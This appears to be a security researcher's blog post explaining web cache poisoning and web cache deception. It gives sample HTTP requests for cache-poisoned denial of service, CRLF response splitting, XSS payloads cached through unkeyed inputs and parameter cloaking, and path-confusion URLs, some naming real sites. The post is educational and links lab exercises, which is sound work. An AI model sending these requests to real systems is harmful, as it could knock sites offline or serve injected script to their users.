Don’t Trust the Cache: Exposing Web Cache Poisoning and Deception vulnerabilities

Anas H Hmaidy
9 min readApr 5, 2024

--

Good Day!

I hope you are doing well. I have been studying the vulnerabilities related to the web cache .So I will share with you a shortcut of all the different techniques that I have seen so far. I’ll assume you have a basic understanding of web caching concepts.

الحمدلله و الصلاة و السلام على رسول الله

Obviously, the cache itself isn’t a vulnerability. What makes web applications vulnerable to web cache attacks is either chaining them with other bugs (most likely XSS) or taking advantage of misconfigurations to launch a Denial-of-Service (DoS) attack on the website.

Poisoning and Deception: Web Cache vulnerabilities Explained

Let’s start with web cache poisoning. The key to basic Web Cache Poisoning (WCP) is to manipulate a value that is not included in the cache key. Anything excluded from the cache key becomes part of our attack surface.

Before diving into different techniques, we need to understand how our target web application implements its caching configuration. This involves identifying which headers, parameters, and HTTP methods are actually included in the cache key and which are not. I will categorize the attacks into two main types:

Web Cache Poising DoS

Web Cache Poising With harmful Payloads

https://blogdetectify.cdn.triggerfish.cloud/uploads/2020/07/03170240/web_cache_poisoning.png

Web Cache Poising DoS

  1. HTTP Header Oversize (HHO)
    The Goal here is to send a request with large Header size.However, the key factor here that the cache must accept larger header size than the origin server. So we can send a HTTP GET request with a header larger than the size supported by the origin server but smaller than the size supported by the cache server. The cache will proceed the request to the server normally but the origin server will return some status error code causing the cache server caching that error for the Original Request!
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000


HTTP/1.1 400 Bad Request
Cache:hit

Big Header Size

here we poisoned the request “GET / HTTP/1.1” with a bad request status page.

2. HTTP Meta Character (HMC)
Instead of sending a large header. Here we send a header that contain some harmfull meta characters such as \n and \r. In order the attack to work you must bypass the cache first.

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

HTTP/1.1 400 Bad Request
Cache:hit

Chars Not Allowed

3. HTTP Method Override Attack (HMO)
This attacks take advantage of some header supported by the web server such as X-HTTP-Method-Override, X-HTTP-Method or X-Method-Override. If the web server is vulnerable and allows HTTP method overriding, it processes the request based on the value provided in the override header instead of the original method.

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST


HTTP/1.1 404 Not Found
Cache:hit

Post Blogs Not Found

4. Unkeyed Port
This attack happened when the port in the Host header is reflected in the response and not included in the cache key.

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss

So if we hit the cache with previous response. Any request to /index.html will end up redirected to a dead port https://redacted.com:1/index.html and then simply the browser will time out effectively preventing them from accessing the intended resource.

Take a Break

5.Redirect DoS
As with many of the web cache poisoning vulnerabilities highlighted by James Kettle in his research. But this is my favorite one because this happened to cloudflare login page.
In the previous techniques we discovered an unkeyed port. But what if we discovered that the query string is not in the cache key. Consider the request:

GET /login?x=abc HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=abc

Here the ?x=abc is not part of the cache key. We can take advantage of that by sending a very long query string.

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

Now in the process of following the redirect

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss

Here the poison has done to the [ GET /login] page with a [GET /login?x=veryLongUrl ] which will end with some error status page.

6. Unkeyed Header

Some websites will return an error status code if they see some headers in the request. A while ago I found on a well known website it will return 403 forbidden status if the request has the header X-Amz-Website-Location-Redirect: someThing. This attacks works on all of the website static pages.

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header

Now any user requests the /app.js will end up receiving the 403 page. I reported this and after two weeks they closed it as Out Of Scope DoS :)

Hide the Pain

7. Host Header case normalization

One of the attacks I saw from youst blog post is that the host header should always be case insensitive but some websites will lowercase the host header leading to potential DoS.

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found

The capital letter in the host header (Cdn.redacted.com) is causing the error code which will end up blocking the request.

8.Path Normalization

I didn’t understand that well. But let’s considered this request.

GET /api/v1.1/user HTTP/1.1
Host: redacted.com

HTTP/1.1 200 OK

If we do some url encode it might causing the server to generate some error code. Like encode the [.] with %2e

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found

9.Invalid Headers CP-DoS

This techniques is from youst writeup as well I will share it down. The researcher observed that by sending a request to github repository with invalid content-type value will end up with some error status code.

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld


HTTP/2 406 Not Acceptable
Cach:miss

10.HTTP Request Spliting

The last WCPDoS is from Sergy Bobrov. We can take advantage of CRLF injection to trick the cache to caching some error pages

GET /redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20404%20Not%20Found%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>NotFound</html>

This results in the following output stream, sent by the web server over the
TCP connection:

HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0


HTTP/1.1 404 NotFound
Content-Type: text/html

<html>NotFound</html>

The cache will see the response of the request [GET /redir_lang.jsp] as 404 Not Found and then will end up caching it.

One technique I tried is to send a request with a very long cookies. Trying to cause an error in the origin server and then try to cache that error page. I tried it on a few website and it didn’t works. Feel free to try or if you have something similar like that.

Conclusion

The cache sees nothing wrong with the requests being sent. But the origin server classifies the request as malicious so it returns some error code which is stored by the cache server. Obviously, this attack works if the cache is configured to cache status error codes. The best defense is just not to cache them.

Web Cache Poising With harmful Payloads

1. Unkeyed Query

The Goal here is to find an unkeyed query vulnerable to XSS in order to cache the page with our payload.

GET /?unkeyedParam=<script>alert(1)</script> HTTP/1.1
Host: redacted.com

HTTP/1.1 200 OK
Cache: Hit
<meta content="redacted.com/?unkeyedParam"><script>alert(1)</script>"/>

portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-query

Same thing but with unkayed cooike

portswigger labhttps://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-cookie

2.Unkeyed Method

Suppose we have a POST based xss

POST /add_title HTTP/1.1
Host: redacted.com
Content-Length: 31

title=<script>alert(1)</script>


HTTP/1.1 200 OK
Cache: miss
<div id="title"><script>alert(1)</script></div>

If the GET method is unkeyed we can simply poising the cache by changing the request to GET

GET /add_title HTTP/1.1
Host: redacted.com
Content-Length: 31

title=<script>alert(1)</script>


HTTP/1.1 200 OK
Cache: hit
<div id="title"><script>alert(1)</script></div>

3. Fat Get

Some times website supports GET requests with bodies. Here is a grate bug by James Kettle he found at the Github website

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Anyone who attempted to report abuse on albinowax profile would end up reporting ‘innocent-victim’ instead!

portswigger lab:https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Also I observed that cloudflare CDN will block any GET request that has a body in it. We can take advantage of this by sending a Fat Get causing the error page that returned by cloudflare and then try to cache it. I encountered this issue once. [Another WCP-DoS]

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

4.Cache Parameter Cloaking

What if all the parameters are in the cache key? Well the goal here is to find an excluded query string from the cache key. Suppose the following request. The cache exclude the utm_content param from the cache key.

GET /?title=Anas&utm_content=<script>alert(1)</script> HTTP/1.1
Host: redacted.com

In this technique, we will try to place the value of the unkeyed parameter, which is utm_content, into the keyed title parameter in order to poison the cache with the XSS payload. For example, Ruby on Rails splits the parameters based on the semicolon (;) Here, an attacker can send two requests that have the same cache key

GET /?title=Hello;utm_content=somethig;title=<script>alert(1)</script> HTTP/1.1
Host: redacted.com

HTTP/1.1 200 OK
Cache: miss
<div id="title"><script>alert(1)</script></div>

portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

There are also some ways to exploit such a vulnerabilities. I will let you discover and read them on the PortSwigger research section.

Web Cache Deception

Upon reading a white paper that I will link it down. More than 74% of the Alexatop 1k are served by CDN.

WCD results from path confusion between an origin server and a web cache. The goal here is to cache pages that contains sensitive information. In order to exploit WCD vulnerabilities we need to craft a url that satisfies two properties:

1.The url must be interpreted by the web server as a request for a non-cacheable page and should trigger a successful response.

2.The same url must be interpreted by an intermediate web cache as a request for a static object matching the caching rule.

Four Techniques for path confusion:

1.Path Parameter

GET /account.php/style.css

2.Encoded New Line \n

GET /account.php%0Astyle.css

3.Encoded Simicolon ;

GET /account.php%3Bstyle.css

4.Encoded Pound #

GET /account.php%23style.css

5.Encoded Question Mark ?

GET /account.php%3Fvar=style.css

Recently. I have read a great path confusion writeup but I don’t remember where.However, The bug hunter observer that the website has a caching rule like this

/blog/* 

And he exploit that by sending this kind of request.

GET /blog/%2F../account.php

Correct me please if I am wrong or comment down the write up if you know it :)

The End

This is it! I think I’ve covered the key aspects of Web Cache attacks. Let me know in the comments if you have any questions or things I have missed.

Thanks for reaching here! Hope you liked it. Don’t forget to follow and clap along (you can do it up to 50 times!).

Join my telegram channel: anas_hmaidy

Follow me on LinkedIn: anas_hmaidy

Buy me a coffee : anas_hmaidy

Resources

James Kettle. Web-cache-entanglement

Jemes Kettle. Practical Web Cache Poisoning

https://portswigger.net/research/practical-web-cache-poisoning

Youst. Cache Poisoning at Scale

Youst. Cache Key Normalization DoS

CPDoS: Cache Poisoned Denial of Service

https://cpdos.org/

Sergey Bobrov. HTTP Response Splitting

HTTP Response Splitting, Web Cache
Poisoning Attacks, and Related Topics

https://packetstormsecurity.com/files/32815/Divide-and-Conquer-HTTP-Response-Splitting-Whitepaper.html

Omer Git. Web Cache Deception Attack

https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html

Usenix. Cached and Confused: Web Cache Deception in the Wild

https://www.usenix.org/conference/usenixsecurity20/presentation/mirheidari

--

--

Anas H Hmaidy
Anas H Hmaidy

Written by Anas H Hmaidy

Cybersecurity Researcher | Web App Penetration Tester | Bug Bounty Hunter | CTF Player

Responses (2)